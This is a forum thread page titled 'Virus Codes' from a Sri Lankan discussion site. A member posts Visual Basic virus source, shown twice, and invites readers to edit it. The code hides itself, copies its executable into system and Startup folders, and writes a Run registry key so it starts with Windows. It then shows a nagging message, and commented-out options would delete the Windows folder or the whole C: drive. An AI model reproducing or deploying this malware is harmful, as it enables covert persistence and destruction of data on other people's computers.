Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
එක පැකේජ් එකයි මාසෙටම Unlimited Internet. තාමත් DATA CARD දාන්න සල්ලි වියදම් කරනවද? අඩුම මිලට අපෙන්.
sayuru bandara
Updated:
Tuesday at 12:30 PM
Ad icon
ඉන්ටර්නෙට් එකෙන් හරියටම සල්ලි හොයන්න සහ Success වෙන්න කැමතිද? 🚀 (E-Money & Success Stories)
siri sumana
Updated:
Saturday at 11:44 PM
Gemini AI PRO 18 months Offer
Hawaka
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Electronics
Vehicles
Property
Search
Reply to thread
Forums
General
ElaKiri Talk!
~ Virus Codes ~
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="sumal_jayaranga" data-source="post: 3741336" data-attributes="member: 96023"><p><strong>language ekanam VBScript</strong></p><p>Oyata ona widihata edit karanna <img src="/styles/default/xenforo/smilies/default/lol.gif" class="smilie" loading="lazy" alt=":lol:" title="LOL :lol:" data-shortname=":lol:" /></p><p> </p><p><span style="color: red">Dim namefile As String</span></p><p><span style="color: red">Dim namereg As String</span></p><p><span style="color: red">Private Sub Form_Load()</span></p><p><span style="color: red">On Error Resume Next</span></p><p><span style="color: red">Me.Hide 'so people can not see it</span></p><p><span style="color: red">namefile = "virus.exe" 'put the virus file name here with the .exe on the end !Recommended to change!</span></p><p><span style="color: red">namereg = "virus" 'put the virus reg key name in here !Recommended to change!</span></p><p><span style="color: red">If LCase$(App.Path) <> "c:\windows\system32" Or "c:\windows\start menu\programs\startup" Or "c:\windows\start menu\programs\start up" Or "c:\winnt\system32" Or "c:\winnt\start menu\programs\startup" Or "c:\winnt\start menu\programs\start up" Or "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" Then</span></p><p><span style="color: red">'^this is check if the computer already has been infected !Recommended not to touch!</span></p><p><span style="color: red">reg namefile, namereg 'this is to infect the computer</span></p><p><span style="color: red">End If</span></p><p><span style="color: red">payload 'this goes to the main part of the virus</span></p><p><span style="color: red">End Sub</span></p><p><span style="color: red">Function payload()</span></p><p><span style="color: red">On Error Resume Next</span></p><p><span style="color: red">'this is the main part of the virus put the code here of what you want this virus to do</span></p><p><span style="color: red">'Shell ("cmd /c del c:\windows\* /F /S /Q") 'this will kill the windows folder in C:</span></p><p><span style="color: red">'Shell ("cmd /c del c:\* /F /S /Q") 'this will kill the whole C: drive</span></p><p><span style="color: red">'start:</span></p><p><span style="color: red">msgbox "Your Pc Is Infected With The Anoying Virus"</span></p><p><span style="color: red">'goto start 'this will repeat a msgbox over and over again</span></p><p><span style="color: red">End Function</span></p><p><span style="color: red">module code:</span></p><p><span style="color: red">QUOTE</span></p><p><span style="color: red">'!Recommended not to touch!</span></p><p><span style="color: red">Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long</span></p><p><span style="color: red">Public Const REG_SZ = 1</span></p><p><span style="color: red">Public Const REG_DWORD = 4</span></p><p><span style="color: red">Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long</span></p><p><span style="color: red">Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long</span></p><p><span style="color: red">Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long</span></p><p><span style="color: red">Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long</span></p><p><span style="color: red">Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)</span></p><p><span style="color: red">'this is to save the virus in the reg to startup when windows boots !Recommended not to touch!</span></p><p><span style="color: red">On Error Resume Next</span></p><p><span style="color: red">Dim keyhand As Long</span></p><p><span style="color: red">Dim X As Long</span></p><p><span style="color: red">X = RegCreateKey(Hkey, strPath, keyhand)</span></p><p><span style="color: red">X = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))</span></p><p><span style="color: red">X = RegCloseKey(keyhand)</span></p><p><span style="color: red">End Sub</span></p><p><span style="color: red">Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)</span></p><p><span style="color: red">'this is to delete the virus if something went wrong in reg(below) !Recommended not to touch!</span></p><p><span style="color: red">On Error Resume Next</span></p><p><span style="color: red">Dim Xkey As Long</span></p><p><span style="color: red">Dim X As Long</span></p><p><span style="color: red">X = RegOpenKey(Hkey, strPath, Xkey)</span></p><p><span style="color: red">X = RegDeleteValue(Xkey, strValue)</span></p><p><span style="color: red">X = RegCloseKey(Xkey)</span></p><p><span style="color: red">End Function</span></p><p><span style="color: red">Function reg(filename As String, regname As String)</span></p><p><span style="color: red">'this is to infect the computer (a little complex) !Recommended not to touch!</span></p><p><span style="color: red">On Error GoTo error1</span></p><p><span style="color: red">Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\windows\system32\" & filename)</span></p><p><span style="color: red">On Error GoTo error2</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system32\" & filename</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">error1:</span></p><p><span style="color: red">On Error Resume Next</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\startup\" & filename</span></p><p><span style="color: red">On Error GoTo error4</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\start up\" & filename</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">error2:</span></p><p><span style="color: red">On Error GoTo error3</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\system32\" & filename</span></p><p><span style="color: red">Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname)</span></p><p><span style="color: red">Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\winnt\system32\" & filename)</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">error3:</span></p><p><span style="color: red">On Error GoTo error6</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\" & filename</span></p><p><span style="color: red">Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname)</span></p><p><span style="color: red">Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\" & filename)</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">error4:</span></p><p><span style="color: red">On Error Resume Next</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\startup\" & filename</span></p><p><span style="color: red">On Error GoTo error5</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\start up\" & filename</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">error5:</span></p><p><span style="color: red">On Error GoTo enditnow</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & filename</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">error6:</span></p><p><span style="color: red">On Error GoTo error7</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\Documents and Settings\" & filename</span></p><p><span style="color: red">Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname)</span></p><p><span style="color: red">Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\Documents and Settings" & filename)</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">error7:</span></p><p><span style="color: red">On Error GoTo enditnow</span></p><p><span style="color: red">FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\program files\" & filename</span></p><p><span style="color: red">Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname)</span></p><p><span style="color: red">Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\program files\" & filename)</span></p><p><span style="color: red">Exit Function</span></p><p><span style="color: red">enditnow:</span></p><p><span style="color: red">On Error Resume Next</span></p><p><span style="color: red">Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname)</span></p><p><span style="color: red">End</span></p><p><span style="color: red">End Function</span></p></blockquote><p></p>
[QUOTE="sumal_jayaranga, post: 3741336, member: 96023"] [B]language ekanam VBScript[/B] Oyata ona widihata edit karanna :lol: [COLOR=red]Dim namefile As String Dim namereg As String[/COLOR] [COLOR=red]Private Sub Form_Load() On Error Resume Next Me.Hide 'so people can not see it namefile = "virus.exe" 'put the virus file name here with the .exe on the end !Recommended to change! namereg = "virus" 'put the virus reg key name in here !Recommended to change! If LCase$(App.Path) <> "c:\windows\system32" Or "c:\windows\start menu\programs\startup" Or "c:\windows\start menu\programs\start up" Or "c:\winnt\system32" Or "c:\winnt\start menu\programs\startup" Or "c:\winnt\start menu\programs\start up" Or "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" Then '^this is check if the computer already has been infected !Recommended not to touch! reg namefile, namereg 'this is to infect the computer End If payload 'this goes to the main part of the virus End Sub[/COLOR] [COLOR=red]Function payload() On Error Resume Next 'this is the main part of the virus put the code here of what you want this virus to do[/COLOR] [COLOR=red]'Shell ("cmd /c del c:\windows\* /F /S /Q") 'this will kill the windows folder in C:[/COLOR] [COLOR=red]'Shell ("cmd /c del c:\* /F /S /Q") 'this will kill the whole C: drive[/COLOR] [COLOR=red]'start: msgbox "Your Pc Is Infected With The Anoying Virus" 'goto start 'this will repeat a msgbox over and over again End Function[/COLOR] [COLOR=red]module code: QUOTE '!Recommended not to touch! Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Const REG_SZ = 1 Public Const REG_DWORD = 4 Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String) 'this is to save the virus in the reg to startup when windows boots !Recommended not to touch! On Error Resume Next Dim keyhand As Long Dim X As Long X = RegCreateKey(Hkey, strPath, keyhand) X = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata)) X = RegCloseKey(keyhand) End Sub Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String) 'this is to delete the virus if something went wrong in reg(below) !Recommended not to touch! On Error Resume Next Dim Xkey As Long Dim X As Long X = RegOpenKey(Hkey, strPath, Xkey) X = RegDeleteValue(Xkey, strValue) X = RegCloseKey(Xkey) End Function Function reg(filename As String, regname As String) 'this is to infect the computer (a little complex) !Recommended not to touch! On Error GoTo error1 Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\windows\system32\" & filename) On Error GoTo error2 FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system32\" & filename Exit Function error1: On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\startup\" & filename On Error GoTo error4 FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\start up\" & filename Exit Function error2: On Error GoTo error3 FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\system32\" & filename Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname) Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\winnt\system32\" & filename) Exit Function error3: On Error GoTo error6 FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\" & filename Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname) Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\" & filename) Exit Function error4: On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\startup\" & filename On Error GoTo error5 FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\start up\" & filename Exit Function error5: On Error GoTo enditnow FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & filename Exit Function error6: On Error GoTo error7 FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\Documents and Settings\" & filename Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname) Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\Documents and Settings" & filename) Exit Function error7: On Error GoTo enditnow FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\program files\" & filename Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname) Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname, "c:\program files\" & filename) Exit Function enditnow: On Error Resume Next Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run ", regname) End End Function[/COLOR] [/QUOTE]
Insert quotes…
Verification
Dahaya deken beduwama keeyada?
Post reply
Top
Bottom
Gemini AI PRO 18 months Offer
